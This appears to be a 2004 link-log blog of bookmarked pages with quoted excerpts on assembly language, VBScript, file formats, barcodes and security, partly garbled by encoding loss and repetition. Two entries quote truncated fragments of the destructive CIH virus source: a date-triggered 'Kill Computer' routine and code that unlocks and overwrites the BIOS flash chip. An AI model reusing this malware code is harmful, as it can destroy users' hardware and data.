Saturday, July 31, 2004
Georgi Guninski Security Research
Georgi Guninski Security Research: "Georgi Guninski Security Research"
Friday, July 30, 2004
HNS - Smallftpd 1.0.3 Denial of Service Vulnerability
HNS - Smallftpd 1.0.3 Denial of Service Vulnerability: "Smallftpd 1.0.3 Denial of Service Vulnerability"
: "???, ??? ? ?? ??????? ????? ???????????? ?? Flash BIOS, ? ???? ???????????? ????????? AWDFLASH ??????? ?????? ?? ??????, ??? ???????? ???????? CIH. ????????, ????-?????? ? ??????? ?????? '??????', ? ????? ????? ?????? ????? '???'. ?????? ?????, Windows'9x ??? 0-??????, ????? ?? ????????? CIH, ?????? - DOS-??? - ???????????? ?? ???? ??????. ???????????? ?????????? ? ??????????? ?? ????????. ??????? ? ??????? ????????????: ??? ???????? ????????????????? ????? ???? ?????????? ????? ????????? AWDFLASH ??? ?????????? ? ???????????? Flash BIOS, ???????? ??????? ??? ? ??????????? ?????? ??? ???????????? (???? ?? ?????? ????????? ??-??????????) ????.
????????: FLASH BIOS - ?? ???????. ?? ?? ????????? ?? ???????????? ?????????????? - ???? ??? ?????????, ? ?????? - ?"
????????: FLASH BIOS - ?? ???????. ?? ?? ????????? ?? ???????????? ?????????????? - ???? ??? ?????????, ? ?????? - ?"
CIH????�?�???????????
CIH????�?�???????????: "CloseFile:
xor eax, eax
mov ah, 0d7h
call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Need to Restore File Modification *
; * Time !? *
; *************************************
popf
pop esi
jnc IsKillComputer
; *************************************
; * Restore File Modification Time *
; *************************************
mov ebx, edi
mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Disable OnBusy *
; *************************************
DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBus
; *************************************
; * Call Previous FileSystemApiHook *
; *************************************
prevhook:
popad
popad
ret
; *************************************
; * Kill Computer !? ... *^_^* *
; *************************************
IsKillComputer:
; Get Now Day from BIOS CMOS
mov al, 07h
out 70h, al
in al, 71h
xor al, 26h ; ??/26/????
IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy
ENDIF
; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill K"
xor eax, eax
mov ah, 0d7h
call edi ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Need to Restore File Modification *
; * Time !? *
; *************************************
popf
pop esi
jnc IsKillComputer
; *************************************
; * Restore File Modification Time *
; *************************************
mov ebx, edi
mov ax, 4303h
mov ecx, (FileModificationTime-@7)[esi]
mov edi, (FileModificationTime+2-@7)[esi]
call ebx ; VXDCall IFSMgr_Ring0_FileIO
; *************************************
; * Disable OnBusy *
; *************************************
DisableOnBusy:
dec byte ptr (OnBusy-@7)[esi] ; Disable OnBus
; *************************************
; * Call Previous FileSystemApiHook *
; *************************************
prevhook:
popad
popad
ret
; *************************************
; * Kill Computer !? ... *^_^* *
; *************************************
IsKillComputer:
; Get Now Day from BIOS CMOS
mov al, 07h
out 70h, al
in al, 71h
xor al, 26h ; ??/26/????
IF DEBUG
jmp DisableOnBusy
ELSE
jnz DisableOnBusy
ENDIF
; **************************************
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill K"
Flash & HDD wipe [CIH]
Flash & HDD wipe [CIH]: "Must be called in ring0:
; Kill BIOS EEPROM
mov bp, 0cf8h
lea esi, IOForEEPROM
; Read BIOS 000E0000 - 000EFFFF (64KB)
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi
; Read BIOS 000F0000 - 000FFFFF (64KB)
mov di, 0058h
dec edx ; and al,0fh
mov word ptr BooleanCalculateCode,0f24h
call esi
; Read addition data BIOS 000E0000 - 000E01FF (512 Bytes)
; and Extra BIOS may be written...
lea ebx, EnableEEPROMToWrite
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h
push ecx
loop $
; Kill BIOS Extra ROM Data 000E0000 - 000E007F (80h Bytes)
xor ah, ah
mov [eax], al
xchg ecx, eax
loop $
; Show and turn on BIOS Main ROM Data 000E0000 - 000FFFFF (128 KB) to write
mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h
loop $
; Kill BIOS Main"
; Kill BIOS EEPROM
mov bp, 0cf8h
lea esi, IOForEEPROM
; Read BIOS 000E0000 - 000EFFFF (64KB)
mov edi, 8000384ch
mov dx, 0cfeh
cli
call esi
; Read BIOS 000F0000 - 000FFFFF (64KB)
mov di, 0058h
dec edx ; and al,0fh
mov word ptr BooleanCalculateCode,0f24h
call esi
; Read addition data BIOS 000E0000 - 000E01FF (512 Bytes)
; and Extra BIOS may be written...
lea ebx, EnableEEPROMToWrite
mov eax, 0e5555h
mov ecx, 0e2aaah
call ebx
mov byte ptr [eax], 60h
push ecx
loop $
; Kill BIOS Extra ROM Data 000E0000 - 000E007F (80h Bytes)
xor ah, ah
mov [eax], al
xchg ecx, eax
loop $
; Show and turn on BIOS Main ROM Data 000E0000 - 000FFFFF (128 KB) to write
mov eax, 0f5555h
pop ecx
mov ch, 0aah
call ebx
mov byte ptr [eax], 20h
loop $
; Kill BIOS Main"
Thursday, July 29, 2004
Wednesday, July 28, 2004
Tuesday, July 27, 2004
Friday, July 23, 2004
Thursday, July 22, 2004
Wednesday, July 21, 2004
Tuesday, July 20, 2004
Sunday, July 18, 2004
Thursday, July 15, 2004
Assembly Language Library by David Parker
Assembly Language Library by David Parker: "I always write my commercially available programs entirely in assembly language. This page contains bits of information that I've found to be useful."
GFF CD-ROM/Internet Edition: File Formats
GFF CD-ROM/Internet Edition: File Formats: "Please choose a format from the list below: "
Wednesday, July 14, 2004
Tuesday, July 13, 2004
x86 Assembly Language FAQ - Borland TASM
x86 Assembly Language FAQ - Borland TASM: "x86 Assembly Language FAQ - Borland TASM"
Ralf Brown's Files
Ralf Brown's Files: "Public Files on FTP.CS.CMU.EDU
The x86 Interrupt List
aka 'Ralf Brown's Interrupt List', 'RBIL'
The interrupt list is a comprehensive listing of interrupt calls, I/O ports, memory "
The x86 Interrupt List
aka 'Ralf Brown's Interrupt List', 'RBIL'
The interrupt list is a comprehensive listing of interrupt calls, I/O ports, memory "
Metadata Tables - 1. The PE File Format
Metadata Tables - 1. The PE File Format: "1. The PE File Format"
Portable Executable File Format
Portable Executable File Format: "Portable Executable File Format
View the book table of contents"
View the book table of contents"
VB Script Tutorial
VB Script Tutorial: "1.Motivation:
Some people might ask, ?�What's the difference between Basic for Applications (VBA), and VB Script??. Define them by time, VBA developed earlier and VB Script developed after VBA, VB Script came later. VBA is fully functional, but VB script is not. VBA is main program structure, and VB script applies the program of VBA on web page. Also HTML is only static page, but VB script is dynamic web page (DHTML). On the dynamic Web page, user can request specified data from server. For example, user can select options on the web pages and request the server to return the information as user required. That's more functional than static web pages. This tutorial will lead you into the world of VB script, but you are assumed to know some fundamental program knowledge about VBA and HTML language."
Some people might ask, ?�What's the difference between Basic for Applications (VBA), and VB Script??. Define them by time, VBA developed earlier and VB Script developed after VBA, VB Script came later. VBA is fully functional, but VB script is not. VBA is main program structure, and VB script applies the program of VBA on web page. Also HTML is only static page, but VB script is dynamic web page (DHTML). On the dynamic Web page, user can request specified data from server. For example, user can select options on the web pages and request the server to return the information as user required. That's more functional than static web pages. This tutorial will lead you into the world of VB script, but you are assumed to know some fundamental program knowledge about VBA and HTML language."
FAQTs - Knowledge Base - faqts : Computers : Programming : Languages : JavaScript
FAQTs - Knowledge Base - faqts : Computers : Programming : Languages : JavaScript: "faqts : Computers : Programming : Languages : JavaScript"
Wayne's Windows Administrator Support site for Windows NT / Windows 2000 / Windows XP / Penetration Testing / Firewalls
Wayne's Windows Administrator Support site for Windows NT / Windows 2000 / Windows XP / Penetration Testing / Firewalls: "Wayne's Windows Administrator Support site for Windows NT / Windows 2000 / Windows XP / Penetration Testing / Firewalls"
VB Helper: HowTo: Display data from a database in a ListView control
VB Helper: HowTo: Display data from a database in a ListView control: "TitleDisplay data from a database in a ListView control
KeywordsListView, database, ADO
CategoriesControls, Database"
KeywordsListView, database, ADO
CategoriesControls, Database"
Monday, July 12, 2004
Types of Barcodes
Types of Barcodes: "Barcode Symbologies and Label Standards
A Barcode Symbology defines the technical details of a particular type of barcode: the width of the bars, character set, method of encoding, checksum specifications, etc. Most users are more interested in the general capabilities of a particular symbology (how much and what kind of data can it hold, what are its common uses, etc) than in the excruciating technical details.
The first three sections below provide information about specific types of barcodes (including just a bit of the technical details). The fourth section provides information about industry standards and conventions for the use of barcodes."
A Barcode Symbology defines the technical details of a particular type of barcode: the width of the bars, character set, method of encoding, checksum specifications, etc. Most users are more interested in the general capabilities of a particular symbology (how much and what kind of data can it hold, what are its common uses, etc) than in the excruciating technical details.
The first three sections below provide information about specific types of barcodes (including just a bit of the technical details). The fourth section provides information about industry standards and conventions for the use of barcodes."
Terrapin Interleaved 2 of 5 barcode specification and general information
Terrapin Interleaved 2 of 5 barcode specification and general information: "Interleaved 2 of 5
Data Type: Numeric (even number of digits only)
Bar Code Length: Variable
Checksum: Optional
Wide/Narrow bar width ratio: 2.4:1 - 3:1 (where 3:1 is the optimum ratio)"
Data Type: Numeric (even number of digits only)
Bar Code Length: Variable
Checksum: Optional
Wide/Narrow bar width ratio: 2.4:1 - 3:1 (where 3:1 is the optimum ratio)"
Friday, July 09, 2004
?????? ???, ??? ????????????? ?? VB & VBA
?????? ???, ??? ????????????? ?? VB & VBA: "?????? ???, ??? ?????????????
?? VB & VBA"
?? VB & VBA"
Windows API Guide: TrackPopupMenu Function
Windows API Guide: TrackPopupMenu Function: "TrackPopupMenu Function
Declare Function TrackPopupMenu Lib 'user32.dll' (ByVal hMenu As Long, ByVal uFlags As Long, ByVal x As Long, ByVal y As Long, ByVal nReserved As Long, ByVal hWnd As Long, ByVal prcRect As Long) As Long "
Declare Function TrackPopupMenu Lib 'user32.dll' (ByVal hMenu As Long, ByVal uFlags As Long, ByVal x As Long, ByVal y As Long, ByVal nReserved As Long, ByVal hWnd As Long, ByVal prcRect As Long) As Long "
Harmony Central�: Keyboard and Synth Resources
Harmony Central�: Keyboard and Synth Resources: "July 9, 2004
Submit News Item Read Older News Items
Wusikstation PC VSTi Introduced
Soft synth creator WilliamK has announced his newest creation, a combination vector synth and wave sequencer with extensive modulation matrix. "
Submit News Item Read Older News Items
Wusikstation PC VSTi Introduced
Soft synth creator WilliamK has announced his newest creation, a combination vector synth and wave sequencer with extensive modulation matrix. "
vbCity.com Forums � Visual Basic � VB Newbies � How to display one form over and over again &
vbCity.com Forums � Visual Basic � VB Newbies � How to display one form over and over again &: "Hello, I have two problem here.
Is it possible to display one form over and over again without unloading any of the previous loaded-ones before?
And how do we add a menu entry and its children without using Tools-Menu Editor? (Add new menu inside the codes) "
Is it possible to display one form over and over again without unloading any of the previous loaded-ones before?
And how do we add a menu entry and its children without using Tools-Menu Editor? (Add new menu inside the codes) "
Subscribe.Ru : RusFAQ.ru: ???????????????? ?? ????? Assembler
Subscribe.Ru : RusFAQ.ru: ???????????????? ?? ????? Assembler: " ?????? ?????????, ?????? ??????? ???????????? ? ?????? ???????"
Thursday, July 08, 2004
Keystone Automotive Operations, Inc. - Specialty Parts Wholesaler
Internet radio for cars and vehicles.
Wednesday, July 07, 2004
ILOVEYOU Virus
ILOVEYOU Virus: "ILOVEYOU Virus
This is my dissection of a specimen of the Windows script virus that recently (5/5/2000) caused so much havoc around the country, including at my job. (That is where I caught a specimen of the beasty).
The critter is a simple, yet effective Visual Basic Script "
This is my dissection of a specimen of the Windows script virus that recently (5/5/2000) caused so much havoc around the country, including at my job. (That is where I caught a specimen of the beasty).
The critter is a simple, yet effective Visual Basic Script "
Borland X Portal - Downloads
Borland X Portal - Downloads: "Borland C++ Builder (2)
??????? ?????????, ??????? ????? ??????? ?? ?????????, ??????????? ???????????????? ? Borland C++ Builder"
??????? ?????????, ??????? ????? ??????? ?? ?????????, ??????????? ???????????????? ? Borland C++ Builder"
VBScript Split Function
VBScript Split Function: "VBScript Split Function
Returns a zero-based, one-dimensional array containing a specified number of substrings. "
Returns a zero-based, one-dimensional array containing a specified number of substrings. "
ScreenScraping with ServerXMLHttp By Peter Bromberg
ScreenScraping with ServerXMLHttp By Peter Bromberg: "ScreenScraping with ServerXMLHttp
By Peter A. Bromberg, Ph.D."
By Peter A. Bromberg, Ph.D."
Tuesday, July 06, 2004
Videoguys.com Avid Xpress Studio - Avid Xpress Pro, Avid Pro Tools LE, Avid 3D, Avid FX, And Avid DVD by Sonic. Plus the Digidesign Mbox or Digi002
Videoguys.com Avid Xpress Studio - Avid Xpress Pro, Avid Pro Tools LE, Avid 3D, Avid FX, And Avid DVD by Sonic. Plus the Digidesign Mbox or Digi002: "Videoguys' Avid Xpress Studio Sneak Peak (June 3, 2004)
Yesterday was the most exciting day we've had in our demo/eval room since we finished building and testing our $1,000 DIY challenge machine in January. We had the privilege of an on site, in depth demonstration of the new Avid Xpress Studio Complete by one of Avid's best demo guys - Glen Seaman. We were blown away. The first and most important thing that stands out about this new offering from Avid is the integration. This isn't a collection of software and hardware thrown together to be sold as a bundle, it is a wonderfully integrated package that provides you with EVERYTHING you need to create professional video, audio, and DVDs."
Yesterday was the most exciting day we've had in our demo/eval room since we finished building and testing our $1,000 DIY challenge machine in January. We had the privilege of an on site, in depth demonstration of the new Avid Xpress Studio Complete by one of Avid's best demo guys - Glen Seaman. We were blown away. The first and most important thing that stands out about this new offering from Avid is the integration. This isn't a collection of software and hardware thrown together to be sold as a bundle, it is a wonderfully integrated package that provides you with EVERYTHING you need to create professional video, audio, and DVDs."
Top 10 Digital Video Capture Cards Reviews
Top 10 Digital Video Capture Cards Reviews: "Top 10 Digital Video Capture Cards"
TrueType to PostScript Conversion
TrueType to PostScript Conversion: "L.S. Ng explains the mathematical aspects of truetype to type 1 Bezier conversions (quadratic to cubic). Conversions from quadratic Beziers (truetype Beziers) to cubic (type 1) Beziers."
IFS Applications - Supply Chain Management by IFS Featured Sponsorship - KnowledgeStorm Java
IFS Applications - Supply Chain Management by IFS Featured Sponsorship - KnowledgeStorm Java: "IFS Supply Chain Management Solutions
Streamlined operations, shorter lead times, reduced working capital needs and closer customer and vendor collaboration and among your payback opportunities with IFS SCM. The inter-site functionality and portal technology in IFS Applications enable you to improve your supply chain regardless of how many sites you, your customers and suppliers run, or their geographic location. With IFS Applications it's easier for you to plan, execute, and evaluate supply chain performance. The result is a faster return on your investment and satisfied, more loyal customers."
Streamlined operations, shorter lead times, reduced working capital needs and closer customer and vendor collaboration and among your payback opportunities with IFS SCM. The inter-site functionality and portal technology in IFS Applications enable you to improve your supply chain regardless of how many sites you, your customers and suppliers run, or their geographic location. With IFS Applications it's easier for you to plan, execute, and evaluate supply chain performance. The result is a faster return on your investment and satisfied, more loyal customers."
IFS Applications - Supply Chain Management by IFS Featured Sponsorship - KnowledgeStorm Java
IFS Applications - Supply Chain Management by IFS Featured Sponsorship - KnowledgeStorm Java: "IFS Supply Chain Management Solutions
Streamlined operations, shorter lead times, reduced working capital needs and closer customer and vendor collaboration and among your payback opportunities with IFS SCM. The inter-site functionality and portal technology in IFS Applications enable you to improve your supply chain regardless of how many sites you, your customers and suppliers run, or their geographic location. With IFS Applications it's easier for you to plan, execute, and evaluate supply chain performance. The result is a faster return on your investment and satisfied, more loyal customers."
Streamlined operations, shorter lead times, reduced working capital needs and closer customer and vendor collaboration and among your payback opportunities with IFS SCM. The inter-site functionality and portal technology in IFS Applications enable you to improve your supply chain regardless of how many sites you, your customers and suppliers run, or their geographic location. With IFS Applications it's easier for you to plan, execute, and evaluate supply chain performance. The result is a faster return on your investment and satisfied, more loyal customers."
Monday, July 05, 2004
Work with binary files in VBSscript - read and write local and remote files
Work with binary files in VBSscript - read and write local and remote files: " VBScript and JScript/JavaScript do not have native functions/commands to read and write files, because these languages were designed as 'safe' client-side programming languages. Denied access to file system is it's primary feature.
Server-side ASP code and applications has another work requirements, file system access (read/write files) is at first of them. The only way to work with files is to use built-in or external ActiveX or COM object.
Microsoft solved this problem using FileSystemObject - but the object cannot read/write binary files (There is some work-around to use it to store binary files also - see code bellow - but you can only read text files with this object).
Many people work on this simple task in C++, VBA, Delphi and other languages to create object, which let's you read binary data. One of this great objects is our ByteArray class (member of ScriptUtilities library), which let's you read and write binary files, work with binary data using blocks, convert it to/from Unicode string using more than 100 code pages, convert to hex string, etc."
Server-side ASP code and applications has another work requirements, file system access (read/write files) is at first of them. The only way to work with files is to use built-in or external ActiveX or COM object.
Microsoft solved this problem using FileSystemObject - but the object cannot read/write binary files (There is some work-around to use it to store binary files also - see code bellow - but you can only read text files with this object).
Many people work on this simple task in C++, VBA, Delphi and other languages to create object, which let's you read binary data. One of this great objects is our ByteArray class (member of ScriptUtilities library), which let's you read and write binary files, work with binary data using blocks, convert it to/from Unicode string using more than 100 code pages, convert to hex string, etc."
VBScript Using XmlHttp
VBScript Using XmlHttp: "The XMLHTTP object is a hand tool for getting information from web servers. Below I'll show several examples of how this object can be used.
GetHTMLSource - this script displays the HTML source for a given web page. "
GetHTMLSource - this script displays the HTML source for a given web page. "
Windows Scripting Host and Windows Network Management
Windows Scripting Host and Windows Network Management: "
Windows Scripting Host and VBScript
Windows Script Host (WSH) is a Windows administration tool. WSH creates an environment for hosting scripts. It is language-independent for WSH-compliant scripting engines for the Windows Operating Systems. It brings simple, powerful, and flexible scripting to the Windows platform, allowing you to run scripts from both the Windows desktop and the command prompt.
Windows Script Host is ideal for non-interactive scripting needs, such as logon scripting, administrative scripting, and machine automation. WSH provides improved systems administration capabilities through the use of the WSH Object Model. This runtime library includes objects, methods, and properties that you can use to map network drives or printers, retrieve and modify environment variables, create shortcuts, and read from and write to the Registry. You can use these functions to create logon scripts, configure users' desktops, create custom installation or configuration scripts, or perform other simple tasks.
Although the built-in capabilities of WSH are useful, WSH's real power comes from its ability to use COM to call objects that expose automation interfaces. Microsoft calls this capability ActiveX Scripting. I'll show you an example script that exploits the power of WSH to access the services of Excel and the Active Directory Server Interfaces (ADSI). But first, let's look at how the WSH pieces fit together."
Windows Scripting Host and VBScript
Windows Script Host (WSH) is a Windows administration tool. WSH creates an environment for hosting scripts. It is language-independent for WSH-compliant scripting engines for the Windows Operating Systems. It brings simple, powerful, and flexible scripting to the Windows platform, allowing you to run scripts from both the Windows desktop and the command prompt.
Windows Script Host is ideal for non-interactive scripting needs, such as logon scripting, administrative scripting, and machine automation. WSH provides improved systems administration capabilities through the use of the WSH Object Model. This runtime library includes objects, methods, and properties that you can use to map network drives or printers, retrieve and modify environment variables, create shortcuts, and read from and write to the Registry. You can use these functions to create logon scripts, configure users' desktops, create custom installation or configuration scripts, or perform other simple tasks.
Although the built-in capabilities of WSH are useful, WSH's real power comes from its ability to use COM to call objects that expose automation interfaces. Microsoft calls this capability ActiveX Scripting. I'll show you an example script that exploits the power of WSH to access the services of Excel and the Active Directory Server Interfaces (ADSI). But first, let's look at how the WSH pieces fit together."
Work with binary files in VBSscript - read and write local and remote files
Work with binary files in VBSscript - read and write local and remote files: "VBScript and JScript/JavaScript do not have native functions/commands to read and write files, because these languages were designed as 'safe' client-side programming languages. Denied access to file system is it's primary feature.
Server-side ASP code and applications has another work requirements, file system access (read/write files) is at first of them. The only way to work with files is to use built-in or external ActiveX or COM object."
Server-side ASP code and applications has another work requirements, file system access (read/write files) is at first of them. The only way to work with files is to use built-in or external ActiveX or COM object."
??????. ????????? ? ???????? ?????? ? ?????? web-?????? ?? asp-???????. ????? II. MSXML
??????. ????????? ? ???????? ?????? ? ?????? web-?????? ?? asp-???????. ????? II. MSXML: "????????? ? ???????? ?????? ? ?????? web-?????? ?? asp-???????.
????? II. MSXML
????????? ?????????
? ?????????? ?????? ?? ??????????? ? ???? ????????????? ??????? ?????????? InternetExplorer.Application ? ??????? ????????? ??? ???????? HTTP-??????. ???????? ?? ????????? ???????????? ????????????? IE ? ???????? ?????????? ActiveX, ? ????????? ???????, ????????? ? ???????? ?????????? ??? ?????????????? ????????? ???? ????? ???????????? ???? ?? ??????????? in-process ???????????.
????? ?? ????? ???????????, ?????????? ?????, ???????? WinHTTP. ??????, ????????? ?? ??????????????? ?????? ? 4-?? ??????? MSXML, ? ?????? ?????? ?? ?? ?????? ????????????? ??????????? ??? ????????"
????? II. MSXML
????????? ?????????
? ?????????? ?????? ?? ??????????? ? ???? ????????????? ??????? ?????????? InternetExplorer.Application ? ??????? ????????? ??? ???????? HTTP-??????. ???????? ?? ????????? ???????????? ????????????? IE ? ???????? ?????????? ActiveX, ? ????????? ???????, ????????? ? ???????? ?????????? ??? ?????????????? ????????? ???? ????? ???????????? ???? ?? ??????????? in-process ???????????.
????? ?? ????? ???????????, ?????????? ?????, ???????? WinHTTP. ??????, ????????? ?? ??????????????? ?????? ? 4-?? ??????? MSXML, ? ?????? ?????? ?? ?? ?????? ????????????? ??????????? ??? ????????"
Storing scanned web-pages and files to SQL Server
Storing scanned web-pages and files to SQL Server: "'Author: MAK
'Contact: mak_999@yahoo.com
'Objective: To scan http://forums.databasejournal.com and find # of members and
'send email to mak_999@yahoo.com with latest information.
'Option Explicit
Const ForReading = 1
Const ForWriting = 2
Dim objXMLhttp, objFSO, objTS
Set fso = CreateObject('Scripting.FileSystemObject')
Set objXMLhttp = CreateObject('MSXML2.XMLhttp')
With objXMLhttp
.open 'GET', 'http://forums.databasejournal.com', False
On Error Resume Next
.send
If Err.Number <> 0 Then
Msgbox 'XMLhttp error ' & Hex(Err.Number) & ' ' & Err.Description
ElseIf .status <> 200 Then
MsgBox 'http error ' & CStr(.status) & ' ' & .statusText
Else
Set objFSO = CreateObject('Scripting.FileSystemObject')
Set objTS = objFSO.CreateTextFile('findtext.txt', True)
objTS.Write Replace(.responseText, vbLf, vbNewLine)
objTS.Close
Set objTS = Nothing
Set objFSO = Nothing
' MsgBox 'Completed writing file!'
End If
End With
Set ReadFile = fso.OpenTextFile('findtext.txt', ForReading, TristateFalse)
thisTXT = ReadFile.ReadAll
Chaine = 'Members: '
Chaine2 = '
'
ValueSearch = InStr(1,thisTXT,Chaine,1)
ValueSearch2 = InStr(valuesearch,thisTXT,Chaine2,1)
'msgbox ValueSearch
'msgbox ValueSearch2
If ValueSearch>=1 Then
y= mid(thisTXT,ValueSearch,(ValueSearch2-ValueSearch))
'msgbox y
Else
y='Wrong Data'
End If
"
'Contact: mak_999@yahoo.com
'Objective: To scan http://forums.databasejournal.com and find # of members and
'send email to mak_999@yahoo.com with latest information.
'Option Explicit
Const ForReading = 1
Const ForWriting = 2
Dim objXMLhttp, objFSO, objTS
Set fso = CreateObject('Scripting.FileSystemObject')
Set objXMLhttp = CreateObject('MSXML2.XMLhttp')
With objXMLhttp
.open 'GET', 'http://forums.databasejournal.com', False
On Error Resume Next
.send
If Err.Number <> 0 Then
Msgbox 'XMLhttp error ' & Hex(Err.Number) & ' ' & Err.Description
ElseIf .status <> 200 Then
MsgBox 'http error ' & CStr(.status) & ' ' & .statusText
Else
Set objFSO = CreateObject('Scripting.FileSystemObject')
Set objTS = objFSO.CreateTextFile('findtext.txt', True)
objTS.Write Replace(.responseText, vbLf, vbNewLine)
objTS.Close
Set objTS = Nothing
Set objFSO = Nothing
' MsgBox 'Completed writing file!'
End If
End With
Set ReadFile = fso.OpenTextFile('findtext.txt', ForReading, TristateFalse)
thisTXT = ReadFile.ReadAll
Chaine = 'Members: '
Chaine2 = '
'
ValueSearch = InStr(1,thisTXT,Chaine,1)
ValueSearch2 = InStr(valuesearch,thisTXT,Chaine2,1)
'msgbox ValueSearch
'msgbox ValueSearch2
If ValueSearch>=1 Then
y= mid(thisTXT,ValueSearch,(ValueSearch2-ValueSearch))
'msgbox y
Else
y='Wrong Data'
End If
"
Saturday, July 03, 2004
Friday, July 02, 2004
Perform A Backup Of New Or Changed Files Based On Archive Bit
Perform A Backup Of New Or Changed Files Based On Archive Bit: "http://msdn.microsoft.com"
VB BACKUP SCRIPT COOL..
VB BACKUP SCRIPT COOL..
Thursday, July 01, 2004
Subscribe to:
Posts (Atom)